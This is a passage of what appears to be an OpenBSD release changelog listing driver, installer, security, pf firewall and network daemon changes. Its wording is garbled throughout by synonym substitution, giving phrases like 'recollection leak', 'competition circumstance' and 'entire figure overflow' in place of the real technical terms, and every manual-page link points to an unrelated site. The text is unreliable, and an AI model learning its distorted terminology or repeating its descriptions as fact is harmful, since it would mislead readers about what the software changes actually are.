controller. </li><li>Added RK3528 I2C5 clock, used in the Radxa E24C. </li><li>Added ACPI hardware IDS for Qualcomm Glymur (X2) SoC. </li><li>Implemented leaf array mirroring in <a href="https://en.mycoding.id/category/technology" target="_blank">apldart(4)</a>; allow IOMMU for Apple USB controllers. </li><li>New <a href="https://en.mycoding.id/category/technology" target="_blank">samsabi(4)</a> controller for the Samsung Advanced BIOS Interface (SABI). </li><li>New <a href="https://en.mycoding.id/category/technology" target="_blank">sambat(4)</a> controller for Samsung laptop power division monitor. </li><li>New <a href="https://en.mycoding.id/category/technology" target="_blank">rkotp(4)</a> controller for Rockchip OTP memory. </li><li>Added assistance for the RK8600 regulator used for CPU voltage on Radxa Zero 3 boards. </li><li>Added additional AMD "Krackan Point" equipment ids. </li><li>Fixed HONOR MagicBook Touchpad multitouch support. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">esp(4)</a> FIFO recollection overflow. </li><li>Fixed possible recollection leak in <a href="https://en.mycoding.id/category/technology" target="_blank">softraid(4)</a> rebuild. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">softraid(4)</a> rebuild on disks alongside 4096-byte sectors. </li><li>Fixed elevated recollection mbufs for 64-bit DMA capable <a href="https://en.mycoding.id/category/technology" target="_blank">re(4)</a>. </li></ul> </li><li>New or improved network hardware support: <ul> <li>Added assistance for Panther Lake and Wildcat Lake Ethernet devices to <a href="https://en.mycoding.id/category/technology" target="_blank">em(4)</a>. </li><li>Added assistance for Intel E610 Ethernet devices to the <a href="https://en.mycoding.id/category/technology" target="_blank">ix(4)</a> driver. </li></ul> </li><li>Added or improved wireless network drivers: <ul> <li>Properly grip possible case of bare packets returned from <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> hardware. </li><li>Added missing DMA syncs for <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> SRNG DMA descriptor memory. </li><li>Properly grip <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> VIF DMA map allocation failures at nexus time. </li><li>Fixed use of old pointers on the <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> vif catalog which caused crashes. </li><li>Properly reset <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> controller and equipment province if it fails to get RUNNING in qwx_init(). </li><li>Avoid competition circumstance in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> equipment during power-on. </li><li>Use the ioctl rwlock correctly in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> qwx_activate(). </li><li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> rx_ring-&gt;bufs_max and freemap are continually initialised correctly. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> init project waiting for the ioctl fastener to rotate into available. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> correctly errors which happen in qwx_qmi_fw_init_done(). </li><li>Fixed roaming between APs alongside <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. </li><li>Always authorize data example interrupts in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> during the interface is UP. </li><li>Added assistance for 40MHz channels to <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> lone allocate a new mbuf whenever a liberated Rx circle slot is available. </li><li>Avoid calling bus_dmamap_create() from interrupt environment in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. </li><li>Handle nation code events sent by <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> firmware to create affiliation additional reliable. </li><li>Reset <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> command circle 'queued' oppose whenever the command circle gets reset. </li><li>Ensure that <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> nq flags are continually cleared whenever switching net80211 state. </li><li>Fixed figure of tx/rx streams set in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> mac config. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> dispatch the PMF good-bye deauth example whenever hopping out of RUN state. </li><li>Ensure no new tasks get scheduled during IFF_RUNNING is in qwx_stop(). Prevents <a href="https://en.mycoding.id/category/technology" target="_blank">qwz(4)</a> crash. </li><li>Make <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> favor ic_bss complete the ephemeral node in the scan tree. </li><li>Add equal to <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> firmware following starting the vdev, not before. Fixes a firmware crash. </li><li>Add 802.11n assistance to <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. Advertise HT capabilities and continue HT/QoS equal association. </li><li>Ask <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> firmware to move into M3 province before resetting the device. </li><li>Avoid calling bus_dmamap_destroy() from interrupt environment in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. </li><li>Added 802.11n alongside 40MHz width to <a href="https://en.mycoding.id/category/technology" target="_blank">qwz(4)</a>. </li><li>Let <a href="https://en.mycoding.id/category/technology" target="_blank">qwz(4)</a> grip QoS in native WiFi frames. </li></ul> </li><li>Installer, upgrade, bootloader, and pkg-tools improvements: <ul> <li>Harmonise <a href="https://en.mycoding.id/category/technology" target="_blank">installurl(5)</a> handling in <a href="https://en.mycoding.id/category/technology" target="_blank">pkg_add(1)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">sysupgrade(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">syspatch(8)</a>. </li><li>Fixed liberated area inspect by <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> for unqualified filenames. </li><li>Set bounds on the size of records <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> can download. </li><li>Stricter validation in <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> to no longer treat untrusted comments as data. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">pkg_add(1)</a> now detects and overcomes several endless loops alongside merge-sets. </li><li>Clean trailing slashes from <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> FWURL. </li><li>Removed current directory from default <a href="https://en.mycoding.id/category/technology" target="_blank">pkg_add(1)</a> hunt path. </li><li>Improved downloading of firmware by filename in <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a>. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> error whenever SHA256.sig is not found. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> now checks signature of local SHA256.sig. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a>, made <a href="https://en.mycoding.id/category/technology" target="_blank">tar(1)</a> skip records exterior expected locations. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">syspatch(8)</a> downloading complete tgz document whenever looking for a possible update. </li></ul> </li><li>Security improvements: <ul> <li>Fixed a <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> in <a href="https://en.mycoding.id/category/technology" target="_blank">vfs(9)</a>. </li><li>Fixed out-of-bounds admission attempts on <a href="https://en.mycoding.id/category/technology" target="_blank">aplmca(4)</a> SOCs. </li><li>Stopped use of non-standard UID_MAX and GID_MAX in assorted utilities. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">ipsec(4)</a> AES GMAC crypto. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a> refuse malformed and out-of-state IKEv2 messages. </li><li>Plugged memleak in x509_verify (CID 656293). </li><li>Avoid overflow in <a href="https://en.mycoding.id/category/technology" target="_blank">sysctl(2)</a> KERN_PROC_ARGS. </li><li>Prevent bogus or malicious iaddr data from crashing <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpd(8)</a>. </li><li>Avoid possible recollection exhaustion via DHCPINFORM in <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpd(8)</a>. </li><li>Properly use saltlen and min_saltlen in libcrypto RSA-PSS. </li><li>Reject invalid delta CRLs in libcrypto x509. </li><li>Fixed RFC 3779 bequest handling in libcrypto's way validation. </li><li>Use <a href="https://en.mycoding.id/category/technology" target="_blank">execve(2)</a> as $ORIGIN in <a href="https://en.mycoding.id/category/technology" target="_blank">ld.so(1)</a> (otherwise fallback to realpath). </li><li>Hardened <a href="https://en.mycoding.id/category/technology" target="_blank">syspatch(8)</a> against malicious scripts. </li><li>Restrict the characters that are allowed to continue through <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> surroundings and mda. </li><li>Fixed study former the NUL by <a href="https://en.mycoding.id/category/technology" target="_blank">pax(1)</a>. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">pax(1)</a> extracting malicious archives exterior the operating directory. </li><li>Added 'mcast' to the <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> for <a href="https://en.mycoding.id/category/technology" target="_blank">lldpd(8)</a>. </li><li>Tightened pledge_sockopt() level/optname checks for distinct types of sockets. </li><li>Extended the 'mcast' <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> to authorize multicast tweaks on Ethernet example sockets. </li><li>Updated libexpat to type 2.8.4 (CVE-2026-66046 CVE-2026-76641 CVE-2026-76957). </li><li>Avoid manuscript pathname TOCTOU in exec whenever the vnode changes. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">execve(2)</a> realpath handling additional robust. </li><li>Switched luna88k to build kernel records alongside -fno-pie. </li><li>Unprivileged kernel recollection peruse and compose exposure removed from m88k 88100 data pipeline. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">unveil(2)</a> now restricts <a href="https://en.mycoding.id/category/technology" target="_blank">man(1)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">makewhatis(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">man.cgi(8)</a> peruse and compose access. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">dhcpleased(8)</a> now validates the IP location the dhcp server acks. </li><li>Fixed signed entire figure overflow in <a href="https://en.mycoding.id/category/technology" target="_blank">perl(1)</a> Storable (CVE-2026-57433). </li><li>Fixed entire figure overflow in <a href="https://en.mycoding.id/category/technology" target="_blank">perl(1)</a> group and unpack (CVE-2026-57432). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">perl(1)</a> incorrect regular expression matches (CVE-2026-13221). </li><li>Fixed recollection leaks and competition circumstance in <a href="https://en.mycoding.id/category/technology" target="_blank">profil(2)</a>. </li><li>Improved checking of <a href="https://en.mycoding.id/category/technology" target="_blank">elf(3)</a> notes; forestall out of limits access. </li><li>Reject <a href="https://en.mycoding.id/category/technology" target="_blank">elf(3)</a> interpreters without loadable segments. </li><li>Disable <a href="https://en.mycoding.id/category/technology" target="_blank">kbind(2)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">pinsyscalls(2)</a> for fixed binaries inner exec_elf_makecmds(). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> structs to evade leaking kernel stack contents. </li><li>LibXfont 2 fixes for CVE-2026-56001, CVE-2026-56002, and CVE-2026-56003. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Xserver(1)</a> fixes for CVE-2026-55999 and CVE-2026-56000. </li><li>Updated <a href="https://en.mycoding.id/category/technology" target="_blank">perl(1)</a> Socket to 2.041 (contains fix for CVE-2026-12087, out-of-bounds heap read). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a> to <a href="https://en.mycoding.id/category/technology" target="_blank">bzero(3)</a> the disguise data structure, fairly than using mask4. </li><li>Fixes for CVE-2026-12244, CVE-2026-12245, CVE-2026-12246 and CVE-2026-12490 in <a href="https://en.mycoding.id/category/technology" target="_blank">nsd(8)</a>. </li><li>Stopped leaking transport in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a> error paths of udp_encap_handle_message(). </li><li>Enforce per-type ID payload size in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a> ipsec_validate_id_information(). </li><li>Avoid change overflows in <a href="https://en.mycoding.id/category/technology" target="_blank">memmem(3)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">strstr(3)</a>. </li><li>Multiple additional limits checks in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a>. </li><li>Provide a distinct executable document for <a href="https://en.mycoding.id/category/technology" target="_blank">syslogd(8)</a> parent, for privilege separation. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> apparent userinfo before sending complete imsg. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> refuse oversized sockaddr payloads received complete privsep IPC. </li><li>Zero the impermanent <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> letter cover parsing buffers before use to fortify privsep. </li><li>Clear pending asynchronous lookups at teardown, for stronger <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> privsep. </li><li>Fixed possible data leak from an uninitialised <a href="https://en.mycoding.id/category/technology" target="_blank">ktrace(1)</a> stack variable. </li></ul> </li><li>New features in the network stack: <ul> <li>Set <a href="https://en.mycoding.id/category/technology" target="_blank">ice(4)</a> nexus province to complete duplex. </li><li>Reduced maximum TSO segs in <a href="https://en.mycoding.id/category/technology" target="_blank">ice(4)</a>, to authorize additional interfaces to attach. </li><li>Enabled use of 128 DMA segments for TSO packets on <a href="https://en.mycoding.id/category/technology" target="_blank">ice(4)</a>. </li><li>Enabled 64-bit DMA for <a href="https://en.mycoding.id/category/technology" target="_blank">bge(4)</a> BCM5720. </li><li>Enabled jumbo frames in <a href="https://en.mycoding.id/category/technology" target="_blank">ogx(4)</a>. </li></ul> </li><li>Further changes and bugfixes in the network stack: <ul> <li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">ipsec(4)</a> overflowing the maximum packet size in the IP header. </li><li>Detect out of border says from an int overflow in the <a href="https://en.mycoding.id/category/technology" target="_blank">bpf(4)</a> bpf_mem backends. </li><li>Moved <a href="https://en.mycoding.id/category/technology" target="_blank">bpf(4)</a> for outgoing packets afterward in the transmit path. </li><li>Avoid leaking recollection whenever mbuf sequence allocations neglect in <a href="https://en.mycoding.id/category/technology" target="_blank">tun(4)</a> tun_dev_write(). </li><li>Fixed hardmtu and rxmax in <a href="https://en.mycoding.id/category/technology" target="_blank">ixl(4)</a>. </li><li>Handle energetic conduit width changes correctly in <a href="https://en.mycoding.id/category/technology" target="_blank">iwx(4)</a>. </li><li>Hardened <a href="https://en.mycoding.id/category/technology" target="_blank">bpf(4)</a> bpf_filter; obstacle unhandled instructions alongside bpf_validate. </li><li>Added appropriate program border checks to the <a href="https://en.mycoding.id/category/technology" target="_blank">bpf(4)</a> motor (libpcap CVE-2026-31912). </li><li>Fixed bpf display calls in <a href="https://en.mycoding.id/category/technology" target="_blank">ppp(4)</a>; use <a href="https://en.mycoding.id/category/technology" target="_blank">bpf_mfilter(9)</a>. </li><li>Improved imsg handling of LS_UPD, LS_FLOOD and LS_SNAP in <a href="https://en.mycoding.id/category/technology" target="_blank">ospfd(8)</a>. </li><li>Changed <a href="https://en.mycoding.id/category/technology" target="_blank">ospfd(8)</a> imsg handling. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">ospfd(8)</a> now adds missing rtlabel references and update routes whenever lone the tag changes. </li><li>Preserve configured interface category on <a href="https://en.mycoding.id/category/technology" target="_blank">ospf6d(8)</a> nexus update. </li><li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">ospfd(8)</a> does not leak data on recollection location layout from process. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">authpf(8)</a> read_config() eliminate trailing pale area to evade misconfigurations. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">veb(4)</a> SIOCBRDGRTS and SIOCBRDGVRTS ioctls leaking kernel stack data. </li><li>Fixed packet misconduct in <a href="https://en.mycoding.id/category/technology" target="_blank">veb(4)</a>. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">veb(4)</a> now returns ENOMEM whenever mallocarray() fails in veb_rule_list_get(). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">ifconfig(8)</a> 'vebX -tagged ifX' which accepted too many arguments. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">em(4)</a> K1 exit timeout, to obtain non-broadcast packets. </li><li>Simplified mac category tests on <a href="https://en.mycoding.id/category/technology" target="_blank">em(4)</a>. </li></ul> </li><li>The following changes were made to the <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> firewall: <ul> <li>Fixed off-by-one in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> ioctl DIOCIGETIFACES. </li><li>Do not liberated the <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> caller's ruleset whenever attaching a array fails. </li><li>No longer authorize un-terminated strings in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> ioctl's. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> dropping valid MLD packets alongside unspecified origin address. </li><li>Prevent <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> dropping TCP province if it receives a crafted reset packet. </li><li>Fixed races in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> association counters that caused association oppose underflows. </li><li>Fragment reassembly in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a>/<a href="https://en.mycoding.id/category/technology" target="_blank">inet(4)</a>/<a href="https://en.mycoding.id/category/technology" target="_blank">inet6(4)</a> now occurs in accurate routing domain. </li><li>Stopped 'pfctl -s all' dumping all OS fingerprints loaded to <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a>. </li><li>Fixed NULL pointer dereference in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> outbound packet path. </li><li>Fixed out-of-bounds peruse in <a href="https://en.mycoding.id/category/technology" target="_blank">pf(4)</a> pf_rule_copyin(). </li></ul> </li><li>Routing daemons and another userland network programs saw the following improvements: <ul> <li>Altered <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> code to evade false bug reports from LLM scanners. </li><li>Prevent size_t underflow on a malformed packets in <a href="https://en.mycoding.id/category/technology" target="_blank">agentx(3)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">snmpd(8)</a>. </li><li>Widen <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> server flags to 64-bit integers. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> now enforces 'max petition body' for chunked requests passed to fastcgi. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> refuse config of shared TLS listeners alongside distinct client CA or CRL. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> now sends one imsg fastcgi param struct per parameter, to maintain config order. </li><li>Added tradition HTTP header assistance to <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a>. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> suffix range handling. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> sending location fcgiparams twice. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> drain abort reply via bufferevent to forestall errors being truncated. </li><li>Restricted IMSG_CTL_PROCFD to genitor and inspect procedure id/instance in <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">snmpd(8)</a>. </li><li>Switched the default TLS code in <a href="https://en.mycoding.id/category/technology" target="_blank">httpd.conf(5)</a> set from 'compat' to 'secure.' </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpd(8)</a> correctly error inspect <a href="https://en.mycoding.id/category/technology" target="_blank">timegm(3)</a>. </li><li>Random-relink <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> at boot. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> now rejects CL.TE petition framing (per RFC 9112 sections 6.1 and 6.3). </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> refuse obs-fold alongside 400 (RFC 9112 5.2). </li><li>Fixed uploads using <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> chunked transfer-encoding. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> volition now advertise Vary: Accept-Encoding whenever gzip-static is enabled. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a> advertise fixed document revalidation, preserving Last-Modified and If-Modified-Since flow. </li><li>Added additional config checks to <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>. </li><li>Explicitly flush <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> redirect rules following reloading. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>, removed incorrect disable emblem for routers. </li><li>Use a per-host random ICMP echo id in <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>. </li><li>Added Lua <a href="https://en.mycoding.id/category/technology" target="_blank">patterns(7)</a> assistance for <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> display rules; improved <a href="https://en.mycoding.id/category/technology" target="_blank">glob(7)</a> documentation. </li><li>Use <a href="https://en.mycoding.id/category/technology" target="_blank">getexecpath(3)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">execv(3)</a> in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> <a href="https://en.mycoding.id/category/technology" target="_blank">eigrpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">httpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ntpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a>. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> deferring connections log. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> inspect proc_compose and imsg_compose_event come back values. </li><li>Allow environment log flat from <a href="https://en.mycoding.id/category/technology" target="_blank">relayd.conf(5)</a>. </li><li>Added ECDSA assistance to the <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> CA privsep engine. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> now rejects copy Content-Length headers alongside 400. </li><li>Switched the default TLS code in <a href="https://en.mycoding.id/category/technology" target="_blank">relayd.conf(5)</a> set from 'HIGH:!aNULL' to 'secure.' </li><li>Switched <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> to new imsg API. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> band Content-Length for chunked messages (RFC 9112 division 6.1). </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> refuse obs-fold to forestall parser differentials (RFC 9112 5.2). </li><li>Removed <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> X509_dup() call that leaks memory; add error checks for X509_set_*. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>, added assistance for the MKCALENDAR HTTP method. </li><li>Fixed debug build of <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a>. </li><li>Let <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> assistance multiple resolvable addresses. </li><li>Let <a href="https://en.mycoding.id/category/technology" target="_blank">relayd(8)</a> grip HTTP responses without bodies. </li><li>Fixed NULL dereference in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a> message_alloc_reply() callers. </li><li>Fixed imaginable unaligned 32-bit peruse by <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a>. </li><li>Validate <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a> DELETE payload SPI gathering size. </li><li>Validate recommendation and change sizes in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a>. </li><li>Added dimension checks for the Port-Message and State attributes in <a href="https://en.mycoding.id/category/technology" target="_blank">login_radius(8)</a> Access-Challenge. </li><li>Prevent the <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpleased(8)</a> motor from sending us a negative amount of routes. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpleased(8)</a> obtain accurate amount of routes from the motor process. </li><li>Make certain <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpleased(8)</a> UDP header dimension site at smallest covers the UDP header. </li><li>Extended <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> mask-src to suppress meeting details. </li><li>Switched <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> complete to <a href="https://en.mycoding.id/category/technology" target="_blank">imsgbuf_get(3)</a>. </li><li>Free dispatcher in <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> mda_envelope_free() to evade a leak. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> now rejects bare or slash-bearing usernames before construction the mbox path. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> now rejects CR/LF in argv-derived sectors before starting the SMTP enqueue dialogue. </li><li>Properly liberated the copied letter cover on the <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> smarthost lookup nonaccomplishment path. </li><li>Properly liberated mda_subaddress in <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> mda_envelope_free() to evade recollection leak. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> use inflateEnd() to tear downward the inflate stream in uncompress_gzip_chunk(). </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> now stops parsing DNS answers formerly unpack_rr() reports failure. </li><li>Validate encrypted <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> queue buffer sizes before handling auth tag and IV data. </li><li>Imported <a href="https://en.mycoding.id/category/technology" target="_blank">rtrd(8)</a> RPKI-To-Router protocol daemon and <a href="https://en.mycoding.id/category/technology" target="_blank">rtrctl(8)</a>. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> saw multiple changes: <ul> <li>Allow wildcards to be stated in substitute names in the <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> config. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> rub optarg/eab/eab_key alongside <a href="https://en.mycoding.id/category/technology" target="_blank">freezero(3)</a> following use. </li><li>Error inspect strdup() for external document binding by <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a>. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a>, forestall HTTP petition injection. </li><li>Let <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> grip '=' padding in base64url encoded EAB keys. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">timegm(3)</a> invocations in <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a>. </li><li>Added assistance for <a href="https://en.mycoding.id/category/technology" target="_blank">acme-client(1)</a> external document binding. </li></ul> </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>: <ul> <li>Adjusted <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> graceful restart timer handling for multi-AFI/SAFI sessions. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> do a prefix re-evaluation if the validation province of a path changes. </li><li>Clear <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> NEXTHOP_CONNECTED in nexthop_update() if msg-&gt;connected is false. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> throttle says from the equal whenever MSG_PROCESS_LIMIT reached. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> aspa_table_equal() equality comparison. </li><li>Incorporated new RTR v2 error codes from draft-ietf-sidrops-8210bis-26 to <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Reworked <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> IdleHoldTimer and how accelerated reconnects are implemented. </li><li>Reworked the force_update logic in the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> adj-rib-out. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> leaking equal data to <a href="https://en.mycoding.id/category/technology" target="_blank">bgpctl(8)</a>. </li><li>Implemented ch_meta_locate() in <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>. </li><li>Brought rear the <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a> path_id_tx hack for regular peers. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>, improved mrt_dump_entry_mp() calculation handling, evade overflow. </li><li>Avoid infinite iteration whenever parsing PFKEY replies in <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">bgpd(8)</a>, and <a 